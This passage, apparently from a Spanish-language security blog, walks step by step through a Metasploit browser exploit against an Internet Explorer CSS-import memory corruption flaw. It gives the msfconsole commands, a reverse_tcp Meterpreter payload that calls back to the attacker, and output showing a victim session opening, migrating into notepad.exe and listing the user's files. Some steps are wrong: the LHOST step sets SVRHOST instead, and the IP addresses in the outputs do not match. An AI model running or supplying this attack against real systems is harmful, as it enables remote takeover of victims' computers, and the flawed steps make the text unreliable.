Esta es la descripción del módulo utilizado para el exploit:
This module exploits a memory corruption vulnerability within Microsoft\’s HTML engine (mshtml). When parsing an HTML page containing a recursive CSS import, a C++ object is deleted and later reused. This leads to arbitrary code execution. This exploit utilizes a combination of heap spraying and the .NET 2.0 ‘mscorie.dll’ module to bypass DEP and ASLR. This module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions.
Ahora, si queremos realizar el mismo ataque utilizando msfconsole, es muy fácil.
En Backtrack 4 R2, nos ubicamos en el directorio framework3 (Metasploit Framework 3:
cd /pentest/exploits/framework3
E iniciamos la consola de Metasploit:
./msfconsole
Luego ejecutamos el siguiente comando para seleccionar el exploit:
use windows/browser/ms11_xxx_ie_css_import
Definimos el parámetro SRVHOST con nuestra dirección IP:
set SVRHOST 192.168.1.23
Definimos el parámetro URIPATH:
set URIPATH /
Seleccionamos el PAYLOAD a utilizar:
set PAYLOAD windows/meterpreter/reverse_tcp
Definimos el parámetro LHOST con nuestra dirección IP:
set SVRHOST 192.168.1.23
Lanzamos el exploit:
exploit
El resultado debe mostrar lo siguiente:
[*] 192.168.1.100:43487 Received request for "/" [*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import redirect [*] 192.168.1.100:43487 Received request for "/qmpDd.html" [*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import HTML [*] 192.168.1.100:43487 Received request for "/generic-1296233659.dll" [*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import .NET DLL [*] 192.168.1.100:43494 Received request for "/\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232" [*] 192.168.1.100:43494 Sending windows/browser/ms11_xxx_ie_css_import CSS [*] Sending stage (749056 bytes) to 192.168.1.100 [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.100:37030) at Fri Jan 28 17:54:43 +0100 2011 [*] Session ID 1 (192.168.1.100:4444 -> 192.168.1.100:37030) processing InitialAutoRunScript 'migrate -f' [*] Current server process: iexplore.exe (3668) [*] Spawning a notepad.exe host process... [*] Migrating into process ID 2204 [*] New server process: notepad.exe (2204)
A partir de ese momento ya se tiene activa la sesión en el equipo víctima, con los mismos permisos que el usuario afectado y por eso la permanente necesidad de utilizar el sistema con permisos restringidos, sobre todo si se trata de un entorno corporativo.
msf exploit(ms11_xxx_ie_css_import) > sessions -L Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 blackbox\John @ BLACKBOX 192.168.1.17:4444 -> 192.168.1.32:49161 msf exploit(ms11_xxx_ie_css_import) > sessions 1
Ya podremos utilizar la sesión establecida en el equipo víctima, por ejemplo para realizar un listado de archivos:
meterpreter > ls Listing: C:\Users\John\Documents ================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40555/r-xr-xr-x 0 dir Mon Jan 17 01:59:54 -0500 2011 . 40777/rwxrwxrwx 0 dir Mon Jan 17 01:59:54 -0500 2011 .. 40777/rwxrwxrwx 0 dir Mon Jan 17 01:58:39 -0500 2011 My Music 40777/rwxrwxrwx 0 dir Mon Jan 17 01:58:39 -0500 2011 My Pictures 40777/rwxrwxrwx 0 dir Mon Jan 17 01:58:39 -0500 2011 My Videos 100666/rw-rw-rw- 402 fil Mon Jan 17 01:59:54 -0500 2011 desktop.ini
Es necesario tener en cuenta que la mayoría de los antivirus ya detectan el exploit utilizado por Metasploit (el original) por lo que si la víctima ingresa a la URL con el antivirus habilitado es posible que este detecte el ataque.